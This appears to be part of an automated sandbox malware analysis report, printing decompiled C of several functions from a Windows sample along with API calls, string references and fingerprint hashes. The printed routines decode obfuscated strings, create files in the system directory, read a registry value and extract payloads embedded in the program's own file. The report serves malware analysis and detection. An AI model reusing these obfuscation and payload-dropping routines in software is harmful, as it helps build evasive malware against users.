				char _v1127;
				char _v1128;
				char _v1132;
				char _v1133;
				char _v1134;
				char _v1135;
				char _v1136;
				char _v1137;
				char _v1138;
				char _v1139;
				char _v1140;
				char _v1141;
				char _v1142;
				char _v1143;
				char _v1144;
				char _v1145;
				char _v1146;
				char _v1147;
				char _v1148;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t166;
				void* _t168;
				void* _t171;
				intOrPtr _t172;
				void* _t173;
				unsigned int _t174;
				void* _t176;
				void* _t178;
				intOrPtr _t179;
				intOrPtr* _t180;
				void* _t181;
				void* _t183;
				void* _t185;
				intOrPtr _t186;
				intOrPtr* _t187;
				unsigned int _t188;
				CHAR* _t191;
				short _t208;
				signed int _t212;
				char _t214;
				void _t215;
				void _t216;
				signed int _t218;
				char _t225;
				intOrPtr _t226;
				void _t227;
				unsigned int _t228;
				char _t236;
				intOrPtr _t237;
				void _t238;
				signed int _t240;
				int _t243;
				void* _t250;
				void* _t251;
				void* _t252;
				short* _t259;
				void* _t261;
				short* _t269;
				void* _t271;
				short* _t279;
				void* _t281;
				void* _t285;
				int _t288;
				void* _t289;
				void* _t290;
				void* _t291;
				void* _t292;
				void* _t293;
				void* _t295;
				signed int _t296;
				void* _t298;
				void* _t299;
				void* _t302;
				void* _t305;
				void* _t307;

				_t295 = _t296;
				_t298 = (_t296 & 0xfffffff8) - 0x47c;
				_t166 =  *0x4310d8; // 0xd0c2a9a8
				_v8 = _t166;
				_v1108 = 0x54;
				_v1107 = 0x2c;
				_v1106 = 0x7c;
				_v1105 = 0xc;
				_v1104 = 0x12;
				_v1103 = 0x7c;
				_v1102 = 0x2c;
				_v1101 = 0xe7;
				_v1100 = 0x50;
				_v1099 = 0x8d;
				_v1098 = 0x53;
				_v1097 = 0x29;
				_v1096 = 0xa2;
				_v1095 = 0xa8;
				_v1094 = 0x4e;
				_v1093 = 0x45;
				_v1092 = 0xc5;
				_v1148 = 0x19;
				_v1147 = 0x47;
				_v1146 = 0xee;
				_v1145 = 0x5d;
				_v1144 = 0x22;
				_v1143 = 0xb8;
				_v1142 = 0xd;
				_v1141 = 0x7c;
				_v1140 = 0xe1;
				_v1139 = 0xa7;
				_v1138 = 0xf;
				_v1137 = 0xe;
				_v1136 = 0x8c;
				_v1135 = 0xbc;
				_v1134 = 0x1e;
				_v1133 = 0x27;
				_v1132 = 0x3b;
				_t288 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t288 + 0x38)) =  *((intOrPtr*)(_t298 + _t288 + 0x38)) +  *((intOrPtr*)(_t298 + _t288 + 0x10));
					_t288 = _t288 + 1;
				} while (_t288 < 0x11);
				_v1128 = 0x54;
				_v1127 = 0x2c;
				_v1126 = 0x7c;
				_v1125 = 0xc;
				_v1124 = 0x12;
				_v1123 = 0x7c;
				_v1122 = 0x2c;
				_v1121 = 0xe7;
				_v1120 = 0x50;
				_v1119 = 0x8d;
				_v1118 = 0x53;
				_v1117 = 0x29;
				_v1116 = 0xa2;
				_v1115 = 0xa8;
				_v1114 = 0x4e;
				_v1113 = 0x45;
				_v1112 = 0xc5;
				_v1148 = 0xf;
				_v1147 = 0x41;
				_v1146 = 0xf9;
				_v1145 = 0x68;
				_v1144 = 0x22;
				_v1143 = 0xb8;
				_v1142 = 0xd;
				_v1141 = 0x7c;
				_v1140 = 0xe1;
				_v1139 = 0xa7;
				_v1138 = 0xf;
				_v1137 = 0xe;
				_v1136 = 0x8c;
				_v1135 = 0xbc;
				_v1134 = 0x1e;
				_v1133 = 0x27;
				_v1132 = 0x3b;
				_t289 = 0;
				do {
					 *((intOrPtr*)(_t298 + _t289 + 0x24)) =  *((intOrPtr*)(_t298 + _t289 + 0x24)) +  *((intOrPtr*)(_t298 + _t289 + 0x10));
					_t289 = _t289 + 1;
				} while (_t289 < 0x11);
				_v1146 = 0x7c;
				_v1143 = 0x7c;
				_v1081 = 0x7c;
				_v1148 = 0x54;
				_v1147 = 0x2c;
				_v1145 = 0xc;
				_v1144 = 0x12;
				_v1142 = 0x2c;
				_v1141 = 0xe7;
				_v1140 = 0x50;
				_v1139 = 0x8d;
				_v1138 = 0x53;
				_v1137 = 0x29;
				_v1136 = 0xa2;
				_v1135 = 0xa8;
				_v1134 = 0x4e;
				_v1133 = 0x45;
				_v1132 = 0xc5;
				_v1088 = 0x14;
				_v1087 = 0x44;
				_v1086 = 0xfe;
				_v1085 = 0x60;
				_v1084 = 0x22;
				_v1083 = 0xb8;
				_v1082 = 0xd;
				_v1080 = 0xe1;
				_v1079 = 0xa7;
				_v1078 = 0xf;
				_v1077 = 0xe;
				_v1076 = 0x8c;
				_v1075 = 0xbd;
				_v1074 = 0x2a;
				_v1073 = 0x20;
				_v1072 = 0x3b;
				_t168 = 0;
				do {
					 *((char*)(_t298 + _t168 + 0x10)) =  *((intOrPtr*)(_t298 + _t168 + 0x10)) +  *((intOrPtr*)(_t298 + _t168 + 0x4c));
					_t168 = _t168 + 1;
				} while (_t168 < 0x11);
				GetSystemDirectoryA( &_v276, 0x104);
				_t212 = 0x41;
				_t171 = memset( &_v540, 0, _t212 << 2);
				_t299 = _t298 + 0xc;
				do {
					_t214 =  *((intOrPtr*)(_t299 + _t171 + 0x378));
					 *((char*)(_t299 + _t171 + 0x270)) = _t214;
					_t171 = _t171 + 1;
				} while (_t214 != 0);
				_t259 =  &_v540 - 1;
				do {
					_t172 =  *((intOrPtr*)(_t259 + 1));
					_t259 = _t259 + 1;
				} while (_t172 != 0);
				_t208 =  *0x42e308; // 0x5c
				_t173 =  &_v1108;
				 *_t259 = _t208;
				_t250 = _t173;
				do {
					_t215 =  *_t173;
					_t173 = _t173 + 1;
				} while (_t215 != 0);
				_t174 = _t173 - _t250;
				_t261 =  &_v540 - 1;
				do {
					_t216 =  *(_t261 + 1);
					_t261 = _t261 + 1;
				} while (_t216 != 0);
				_t218 = _t174 >> 2;
				_t290 = _t250;
				_push(memcpy(_t261, _t290, _t218 << 2));
				_t176 = memcpy(_t290 + _t218 + _t218, _t290, 0);
				_push(0x41);
				_t178 = memset( &_v1068, _t176 - _t176, 0 << 2);
				_t302 = _t299 + 0x24;
				do {
					_t225 =  *((intOrPtr*)(_t302 + _t178 + 0x378));
					 *((char*)(_t302 + _t178 + 0x60)) = _t225;
					_t178 = _t178 + 1;
				} while (_t225 != 0);
				_t269 =  &_v1068 - 1;
				do {
					_t179 =  *((intOrPtr*)(_t269 + 1));
					_t269 = _t269 + 1;
				} while (_t179 != 0);
				_t180 =  &_v1128;
				 *_t269 = _t208;
				_t251 = _t180;
				do {
					_t226 =  *_t180;
					_t180 = _t180 + 1;
				} while (_t226 != 0);
				_t181 = _t180 - _t251;
				_t271 =  &_v1068 - 1;
				do {
					_t227 =  *(_t271 + 1);
					_t271 = _t271 + 1;
				} while (_t227 != 0);
				_t228 = _t181;
				_t291 = _t251;
				_t183 = memcpy(_t291 + (_t228 >> 2) + (_t228 >> 2), _t291, memcpy(_t271, _t291, 0 << 2) & 0x00000003);
				_push(0x41);
				_t185 = memset( &_v804, _t183 - _t183, 0 << 2);
				_t305 = _t302 + 0x24;
				do {
					_t236 =  *((intOrPtr*)(_t305 + _t185 + 0x378));
					 *((char*)(_t305 + _t185 + 0x168)) = _t236;
					_t185 = _t185 + 1;
				} while (_t236 != 0);
				_t279 =  &_v804 - 1;
				do {
					_t186 =  *((intOrPtr*)(_t279 + 1));
					_t279 = _t279 + 1;
				} while (_t186 != 0);
				_t187 =  &_v1148;
				 *_t279 = _t208;
				_t252 = _t187;
				do {
					_t237 =  *_t187;
					_t187 = _t187 + 1;
				} while (_t237 != 0);
				_t188 = _t187 - _t252;
				_t281 =  &_v804 - 1;
				do {
					_t238 =  *(_t281 + 1);
					_t281 = _t281 + 1;
				} while (_t238 != 0);
				_t240 = _t188 >> 2;
				_t292 = _t252;
				_t243 = memcpy(_t281, _t292, _t240 << 2) & 0x00000003;
				_t191 = memcpy(_t292 + _t240 + _t240, _t292, _t243);
				_t307 = _t305 + 0x18;
				_t285 = _t292 + _t243 + _t243;
				_t293 = GetFileAttributesA;
				if(GetFileAttributesA(_t191) == 0xffffffff) {
					E00421E40(0,  &_v540, 0x42e424);
					_t307 = _t307 + 0xc;
				}
				if(GetFileAttributesA( &_v1068) == 0xffffffff) {
					E00421E40(0,  &_v1068, 0x42e420);
					_t307 = _t307 + 0xc;
				}
				if(GetFileAttributesA( &_v804) == 0xffffffff) {
					E00421E40(0,  &_v804, "fwe");
				}
				E004223A0(_t208, _t285, _t293, _t295);
				asm("pushfd");
				asm("popfd");
				return E00424873(1, _v8);
			}

0x00421ec2
0x00421ec6
0x00421ecc
0x00421ed2
0x00421ee1
0x00421ee6
0x00421eea
0x00421eee
0x00421ef3
0x00421ef8
0x00421efc
0x00421f00
0x00421f05
0x00421f0a
0x00421f0f
0x00421f14
0x00421f19
0x00421f1e
0x00421f23
0x00421f28
0x00421f2d
0x00421f32
0x00421f37
0x00421f3c
0x00421f41
0x00421f46
0x00421f4b
0x00421f50
0x00421f55
0x00421f59
0x00421f5e
0x00421f63
0x00421f67
0x00421f6c
0x00421f71
0x00421f76
0x00421f7b
0x00421f80
0x00421f85
0x00421f87
0x00421f8b
0x00421f8f
0x00421f90
0x00421f95
0x00421f9a
0x00421f9e
0x00421fa2
0x00421fa7
0x00421fac
0x00421fb0
0x00421fb4
0x00421fb9
0x00421fbe
0x00421fc3
0x00421fc8
0x00421fcd
0x00421fd2
0x00421fd7
0x00421fdc
0x00421fe1
0x00421fe6
0x00421fea
0x00421fef
0x00421ff4
0x00421ff9
0x00421ffe
0x00422003
0x00422008
0x0042200c
0x00422011
0x00422016
0x0042201a
0x0042201f
0x00422024
0x00422029
0x0042202e
0x00422033
0x00422038
0x00422040
0x00422044
0x00422048
0x00422049
0x0042204e
0x00422052
0x00422056
0x0042205a
0x0042205f
0x00422063
0x00422068
0x0042206d
0x00422071
0x00422076
0x0042207b
0x00422080
0x00422085
0x0042208a
0x0042208f
0x00422094
0x00422099
0x0042209e
0x004220a3
0x004220a8
0x004220ad
0x004220b2
0x004220b7
0x004220bc
0x004220c1
0x004220c6
0x004220cb
0x004220d0
0x004220d4
0x004220d9
0x004220de
0x004220e3
0x004220e8
0x004220ed
0x004220f2
0x004220f4
0x004220fe
0x00422102
0x00422103
0x00422115
0x0042211f
0x00422129
0x00422129
0x00422130
0x00422130
0x00422137
0x0042213e
0x0042213f
0x0042214a
0x00422150
0x00422150
0x00422153
0x00422154
0x00422158
0x0042215f
0x00422163
0x00422166
0x00422168
0x00422168
0x0042216a
0x0042216b
0x00422176
0x00422178
0x00422180
0x00422180
0x00422183
0x00422184
0x0042218a
0x0042218d
0x00422191
0x00422196
0x00422198
0x004221a3
0x004221a3
0x004221b0
0x004221b0
0x004221b7
0x004221bb
0x004221bc
0x004221c4
0x004221c5
0x004221c5
0x004221c8
0x004221c9
0x004221cd
0x004221d1
0x004221d5
0x004221d6
0x004221d6
0x004221d8
0x004221d9
0x004221e1
0x004221e3
0x004221e4
0x004221e4
0x004221e7
0x004221e8
0x004221ed
0x004221f2
0x004221fa
0x004221fe
0x0042220a
0x0042220a
0x00422210
0x00422210
0x00422217
0x0042221e
0x0042221f
0x0042222a
0x00422230
0x00422230
0x00422233
0x00422234
0x00422238
0x0042223c
0x00422240
0x00422241
0x00422241
0x00422243
0x00422244
0x0042224f
0x00422251
0x00422252
0x00422252
0x00422255
0x00422256
0x0042225c
0x0042225f
0x00422265
0x0042226f
0x0042226f
0x0042226f
0x00422271
0x0042227d
0x0042228e
0x00422293
0x00422293
0x004222a0
0x004222ae
0x004222b3
0x004222b3
0x004222c3
0x004222d4
0x004222d9
0x004222dc
0x004222e8
0x004222ec
0x004222f8

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00422115

Strings

), xrefs: 00421FC8
A, xrefs: 00421FEA
S, xrefs: 00422080
N, xrefs: 00421FD7
T, xrefs: 00421F95
S, xrefs: 00421FC3
P, xrefs: 00422076
P, xrefs: 00421F05
S, xrefs: 00421F0F
), xrefs: 00421F14
;, xrefs: 004220ED
", xrefs: 004220B7
D, xrefs: 004220A8
E, xrefs: 00422099
E, xrefs: 00421F28
N, xrefs: 00421F23
E, xrefs: 00421FDC
fwe, xrefs: 004222C5
h, xrefs: 00421FF4
N, xrefs: 00422094
), xrefs: 00422085
T, xrefs: 00421EE1
P, xrefs: 00421FB9
;, xrefs: 00422033
T, xrefs: 0042205A
, xrefs: 004220E8
`, xrefs: 004220B2
", xrefs: 00421FF9
*, xrefs: 004220E3

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: DirectorySystem
String ID: $"$"$)$)$)$*$;$;$A$D$E$E$E$N$N$N$P$P$P$S$S$S$T$T$T$`$fwe$h
API String ID: 2188284642-27414503
Opcode ID: d9105b850faae67288f5efb973d4581999cb881179c28cd839f3cde5d28d62c7
Instruction ID: 8ccb523d6832c1d3cc1a3f2dd41e5e608884dc565b9a57154789cab8491a4339
Opcode Fuzzy Hash: d9105b850faae67288f5efb973d4581999cb881179c28cd839f3cde5d28d62c7
Instruction Fuzzy Hash: 24D14A2110C7C29AD322CA3C585879BFFD15BE7318F580B9DF5E45B2D2C2A98649C3A7

Uniqueness

Uniqueness Score: -1.00%

Function 004158B0, Relevance: 52.6, APIs: 3, Strings: 27, Instructions: 141
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004158B0(void* __ebx, void* __edi, void* __esi, void* __ebp) {
				intOrPtr _v4;
				intOrPtr _v12;
				char _v267;
				char _v268;
				char _v269;
				char _v270;
				char _v271;
				char _v272;
				char _v273;
				char _v274;
				char _v275;
				char _v276;
				char _v277;
				char _v278;
				char _v279;
				char _v280;
				char _v281;
				char _v282;
				char _v283;
				char _v284;
				char _v285;
				char _v286;
				char _v287;
				char _v288;
				char _v289;
				char _v290;
				char _v291;
				char _v292;
				char _v293;
				char _v294;
				char _v295;
				char _v296;
				char _v297;
				char _v298;
				char _v299;
				char _v300;
				char _v301;
				char _v302;
				char _v303;
				char _v304;
				char _v305;
				char _v306;
				char _v307;
				char _v308;
				char _v311;
				char _v312;
				char _v313;
				char _v314;
				char _v315;
				char _v316;
				char _v317;
				char _v318;
				char _v319;
				char _v320;
				char _v321;
				char _v322;
				char _v323;
				char _v324;
				char _v325;
				char _v326;
				char _v327;
				char _v328;
				char _v329;
				char _v330;
				char _v331;
				char _v332;
				char _v333;
				char _v334;
				char _v335;
				char _v336;
				char _v337;
				char _v338;
				char _v339;
				char _v340;
				char _v341;
				char _v342;
				char _v343;
				char _v344;
				char _v345;
				char _v346;
				char _v347;
				char _v348;
				char _v349;
				char _v350;
				char _v351;
				char _v352;
				int _v364;
				void* _v368;
				intOrPtr _t96;
				long _t107;
				void* _t126;
				void** _t128;

				_t96 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t96;
				_v311 = 0xd4;
				_v308 = 0xd4;
				_v352 = 0x13;
				_v351 = 0x85;
				_v350 = 0xb6;
				_v349 = 0x41;
				_v348 = 0x75;
				_v347 = 0x91;
				_v346 = 0x1e;
				_v345 = 0x67;
				_v344 = 0xd0;
				_v343 = 0x54;
				_v342 = 0x95;
				_v341 = 0x10;
				_v340 = 0x43;
				_v339 = 0xd7;
				_v338 = 5;
				_v337 = 0x9e;
				_v336 = 0x14;
				_v335 = 0x3f;
				_v334 = 0xed;
				_v333 = 0x20;
				_v332 = 0x29;
				_v331 = 0xe3;
				_v330 = 0xcf;
				_v329 = 0xa3;
				_v328 = 0x53;
				_v327 = 0x11;
				_v326 = 0x4e;
				_v325 = 0x70;
				_v324 = 0x84;
				_v323 = 0x6e;
				_v322 = 0xc4;
				_v321 = 0xc1;
				_v320 = 0xdb;
				_v319 = 0x64;
				_v318 = 0xe1;
				_v317 = 0xc;
				_v316 = 0x2e;
				_v315 = 0x1a;
				_v314 = 0x86;
				_v313 = 0xf6;
				_v312 = 0xe9;
				_v307 = 0x8c;
				_v306 = 0x9b;
				_v305 = 0xe7;
				_v304 = 0x54;
				_v303 = 0xe;
				_v302 = 0x69;
				_v301 = 0x8d;
				_v300 = 0xd;
				_v299 = 0x9d;
				_v298 = 0xe1;
				_v297 = 0xa6;
				_v296 = 0xf;
				_v295 = 0xd3;
				_v294 = 0x2c;
				_v293 = 0x7a;
				_v292 = 0x53;
				_v291 = 0x12;
				_v290 = 0xf4;
				_v289 = 0x93;
				_v288 = 0xa1;
				_v287 = 0x68;
				_v286 = 0x77;
				_v285 = 0xb1;
				_v284 = 0x4b;
				_v283 = 0x72;
				_v282 = 0xf1;
				_v281 = 0x76;
				_v280 = 0xb8;
				_v279 = 0x31;
				_v278 = 0x73;
				_v277 = 0xfc;
				_v276 = 0x19;
				_v275 = 0x8c;
				_v274 = 2;
				_v271 = 2;
				_push(0x2a);
				_push( &_v352);
				_v273 = 0x6c;
				_v272 = 0xf0;
				_v270 = 0x35;
				_v269 = 0xd0;
				_v268 = 0xea;
				_v267 = 0x40;
				if(RegOpenKeyExA(0x80000001, E004155A0( &_v308), 0, 0xf003f, _t128) != 0) {
					L2:
					return E00424873(1, _v12);
				} else {
					_v364 = 0x104;
					_t107 = RegQueryValueExA(_v368, 0x42e292, 0, 0,  &_v272,  &_v364);
					RegCloseKey(_v368);
					_pop(_t126);
					if(_t107 == 0) {
						_push(_v4);
						_push( &_v272);
						E00415690(__ebx, __edi, _t126);
						return E00424873(0, _v12);
					} else {
						goto L2;
					}
				}
			}

0x004158b6
0x004158bb
0x004158c8
0x004158cc
0x004158d2
0x004158d7
0x004158dc
0x004158e1
0x004158e6
0x004158eb
0x004158f0
0x004158f5
0x004158fa
0x004158ff
0x00415904
0x00415909
0x0041590e
0x00415913
0x00415918
0x0041591d
0x00415922
0x00415927
0x0041592c
0x00415931
0x00415936
0x0041593b
0x00415940
0x00415945
0x0041594a
0x0041594e
0x00415953
0x00415958
0x0041595d
0x00415962
0x00415967
0x0041596c
0x00415971
0x00415976
0x0041597b
0x0041597f
0x00415984
0x00415989
0x0041598e
0x00415993
0x00415998
0x0041599d
0x004159a1
0x004159a6
0x004159ab
0x004159b0
0x004159b5
0x004159ba
0x004159bf
0x004159c4
0x004159c9
0x004159cd
0x004159d2
0x004159d7
0x004159dc
0x004159e1
0x004159e6
0x004159ea
0x004159ef
0x004159f4
0x004159f9
0x004159fe
0x00415a03
0x00415a08
0x00415a0d
0x00415a12
0x00415a17
0x00415a1c
0x00415a21
0x00415a26
0x00415a2b
0x00415a30
0x00415a35
0x00415a3a
0x00415a40
0x00415a44
0x00415a48
0x00415a4e
0x00415a53
0x00415a58
0x00415a5d
0x00415a62
0x00415a67
0x00415a6c
0x00415a8f
0x00415ac9
0x00415ae0
0x00415a91
0x00415aa9
0x00415ab1
0x00415abe
0x00415ac6
0x00415ac7
0x00415aea
0x00415aef
0x00415af0
0x00415b0c
0x00000000
0x00000000
0x00000000
0x00415ac7

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,000F003F), ref: 00415A87
RegQueryValueExA.ADVAPI32(?,0042E292,00000000,00000000,?,00000013), ref: 00415AB1
RegCloseKey.ADVAPI32(?,?,0042E292,00000000,00000000,?,00000013), ref: 00415ABE

Strings

u, xrefs: 004158E6
N, xrefs: 00415953
5, xrefs: 00415A5D
w, xrefs: 00415A03
n, xrefs: 00415962
l, xrefs: 00415A53
p, xrefs: 00415958
i, xrefs: 004159B5
z, xrefs: 004159E1
s, xrefs: 00415A2B
), xrefs: 00415936
d, xrefs: 00415976
., xrefs: 00415984
A, xrefs: 004158E1
r, xrefs: 00415A12
v, xrefs: 00415A1C
T, xrefs: 004158FF
g, xrefs: 004158F5
1, xrefs: 00415A26
C, xrefs: 0041590E
@, xrefs: 00415A6C
?, xrefs: 00415927
, xrefs: 00415931
h, xrefs: 004159FE
,, xrefs: 004159DC
K, xrefs: 00415A0D
T, xrefs: 004159AB

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: $)$,$.$1$5$?$@$A$C$K$N$T$T$d$g$h$i$l$n$p$r$s$u$v$w$z
API String ID: 3677997916-1350007012
Opcode ID: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction ID: bf718c844d1271869f6f5a4619d4bc1fbd5c2e1576c271db0d89f6da38526253
Opcode Fuzzy Hash: fdaef75e701aef0404f417bb4a93cf4983beae994bab8cf610ec57c9fe9431a7
Instruction Fuzzy Hash: 0871B72050C7C1DDD322C67C984874FBFD11BA7328F484B8DF1E45A2E6D2AA8649C76B

Uniqueness

Uniqueness Score: -1.00%

Function 004123A0, Relevance: 43.7, APIs: 29, Instructions: 234
memoryCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E004123A0(void* __ebx, void* __edi, void* __esi, void* __ebp, void* __eflags, void** _a4, long* _a8, void** _a12, long* _a16) {
				char _v4;
				char _v264;
				unsigned int _v268;
				long _v272;
				void* _v276;
				char _t36;
				intOrPtr _t43;
				long _t52;
				long _t54;
				long _t56;
				long _t57;
				long _t59;
				void* _t60;
				void* _t64;
				void* _t97;
				long _t107;
				unsigned int _t108;
				signed int _t109;
				void* _t128;
				void* _t134;
				void* _t135;
				long _t140;
				void* _t146;
				void* _t147;
				void* _t154;
				void* _t155;
				void* _t156;

				_t154 = __ebp;
				_t146 = __esi;
				_t134 = __edi;
				_t97 = __ebx;
				_t36 =  *0x4310d8; // 0xd0c2a9a8
				_v4 = _t36;
				GetModuleFileNameA(0,  &_v264, 0x104);
				if(E0041DF40( &_v276,  &_v268,  &_v264) == 0) {
					L3:
					return E00424873(0, _v4);
				} else {
					_t107 = _v268;
					if(_t107 >= 0x64) {
						_t43 =  *((intOrPtr*)(_v276 + _t107 - 4));
						if(_t43 != 0xffeeffee && _t43 != 0xeeffeeff) {
							_t107 = _t107 + 4;
						}
						_push(_t97);
						_push(_t154);
						_v272 = _t107;
						_push(HeapAlloc(GetProcessHeap(), 0, _t107));
						_pop(_t155);
						_t156 = _t155;
						if(_t156 != 0) {
							_t108 = _v268;
							_push(_t146);
							_t147 = _v276;
							_t128 = _t108;
							_push(_t134);
							_t109 = _t108 >> 2;
							_t135 = _t156;
							memcpy(_t135, _t147, _t109 << 2);
							_push(_t128);
							memcpy(_t147 + _t109 + _t109, _t147, 0);
							HeapFree(GetProcessHeap(), 0, _v276);
							_t140 = _v272;
							 *((intOrPtr*)(_t140 +  &_v4)) = 0xeeffeeff;
							_t52 = E004013D0(_t140, 0);
							 *_a8 = _t52;
							_t54 = HeapAlloc(GetProcessHeap(), 0, _t52);
							 *_a4 = _t54;
							if(_t54 != 0) {
								_t56 = E00401450(_t156, _t140, _t54, _a8, 0);
								if(_t56 != 0) {
									 *((intOrPtr*)(_t140 +  &_v4)) = 0xffeeffee;
									_t57 = E004013D0(_t140, 0);
									 *_a16 = _t57;
									_t59 = HeapAlloc(GetProcessHeap(), 0, _t57);
									 *_a12 = _t59;
									if(_t59 != 0) {
										_t60 = E00401450(_t156, _t140, _t59, _a16, 0);
										_push(_t156);
										_push(0);
										if(_t60 != 0) {
											 *0x431c90 =  *0x431c90 ^ 0x00000005;
											HeapFree(GetProcessHeap(), ??, ??);
											_t64 = 1;
											return E00424873(_t64, _v4);
										} else {
											HeapFree(GetProcessHeap(), ??, ??);
											 *0x431c90 = 0x17;
											HeapFree(GetProcessHeap(), 0,  *_a4);
											HeapFree(GetProcessHeap(), 0,  *_a12);
											return E00424873(0, _v4);
										}
									} else {
										HeapFree(GetProcessHeap(), _t59, _t156);
										HeapFree(GetProcessHeap(), 0,  *_a4);
										return E00424873(0, _v4);
									}
								} else {
									HeapFree(GetProcessHeap(), _t56, _t156);
									HeapFree(GetProcessHeap(), 0,  *_a4);
									return E00424873(0, _v4);
								}
							} else {
								HeapFree(GetProcessHeap(), _t54, _t156);
								return E00424873(0, _v4);
							}
						} else {
							return E00424873(_t46, _v4);
						}
					} else {
						HeapFree(GetProcessHeap(), 0, _v276);
						goto L3;
					}
				}
			}

0x004123a0
0x004123a0
0x004123a0
0x004123a0
0x004123a6
0x004123ab
0x004123be
0x004123dd
0x004123fb
0x0041240f
0x004123df
0x004123df
0x004123e6
0x00412413
0x0041241c
0x00412425
0x00412425
0x00412428
0x0041242f
0x00412435
0x00412442
0x00412443
0x00412444
0x00412446
0x0041245d
0x00412461
0x00412462
0x00412467
0x00412468
0x00412469
0x0041246d
0x0041246e
0x00412470
0x00412475
0x00412487
0x00412489
0x00412490
0x00412498
0x004124aa
0x004124af
0x004124be
0x004124c0
0x004124f7
0x004124f9
0x0041252f
0x00412537
0x00412549
0x0041254e
0x0041255d
0x0041255f
0x0041259f
0x004125a9
0x004125aa
0x004125ac
0x004125f5
0x004125ff
0x0041260f
0x0041261c
0x004125ae
0x004125b1
0x004125ba
0x004125c9
0x004125da
0x004125f4
0x004125f4
0x00412561
0x00412566
0x00412577
0x00412591
0x00412591
0x004124fb
0x00412500
0x00412511
0x0041252b
0x0041252b
0x004124c2
0x004124c7
0x004124e1
0x004124e1
0x00412448
0x0041245c
0x0041245c
0x004123e8
0x004123f5
0x00000000
0x004123f5
0x004123e6

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 004123BE

Part of subcall function 0041DF40: CreateFileA.KERNEL32(00000000,00000001,00000001,00000000,00000003,00000000,00000000,73BCF560,00000001,00000000,004123D8,?,?,?), ref: 0041DF78
Part of subcall function 0041DF40: GetFileSize.KERNEL32(00000000,00000000), ref: 0041DF88
Part of subcall function 0041DF40: CloseHandle.KERNEL32(00000000), ref: 0041DF95

GetProcessHeap.KERNEL32(00000000,?), ref: 004123EE
HeapFree.KERNEL32(00000000), ref: 004123F5
GetProcessHeap.KERNEL32(00000000,?,00000000,00000000), ref: 00412439
HeapAlloc.KERNEL32(00000000), ref: 0041243C
GetProcessHeap.KERNEL32(00000000,?,73BCF560,00000001), ref: 0041247E
HeapFree.KERNEL32(00000000), ref: 00412487
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124AC
HeapAlloc.KERNEL32(00000000), ref: 004124AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124C4
HeapFree.KERNEL32(00000000), ref: 004124C7
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004124FD
HeapFree.KERNEL32(00000000), ref: 00412500
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0041250E
HeapFree.KERNEL32(00000000), ref: 00412511

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Heap$Process$Free$File$Alloc$CloseCreateHandleModuleNameSize
String ID:
API String ID: 1079676353-0
Opcode ID: 2bf6e6e0899a1782d3aff453784f18097a7598dc9883855d2bfa8140f56ce768
Instruction ID: ce5115ffd1e55816cd0b28abbe3cf4436e9ca57a393547dcea3d7c8e930076d5
Opcode Fuzzy Hash: 2bf6e6e0899a1782d3aff453784f18097a7598dc9883855d2bfa8140f56ce768
Instruction Fuzzy Hash: 6D61C6B57043446FE224EBB5EC56FFB779CEB88714F40082AF649C3291DA75AC10C66A

Uniqueness

Uniqueness Score: -1.00%

Function 0041C0F0, Relevance: 35.3, APIs: 3, Strings: 17, Instructions: 251sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2CB
WaitForSingleObject.KERNEL32(?,00002710,?,?,?,?,?,?,?,?,?,00001388), ref: 0041C2E9

Strings

4, xrefs: 0041C157
{, xrefs: 0041C134
d, xrefs: 0041C25F
2, xrefs: 0041C193
., xrefs: 0041C1AB
Y, xrefs: 0041C13E
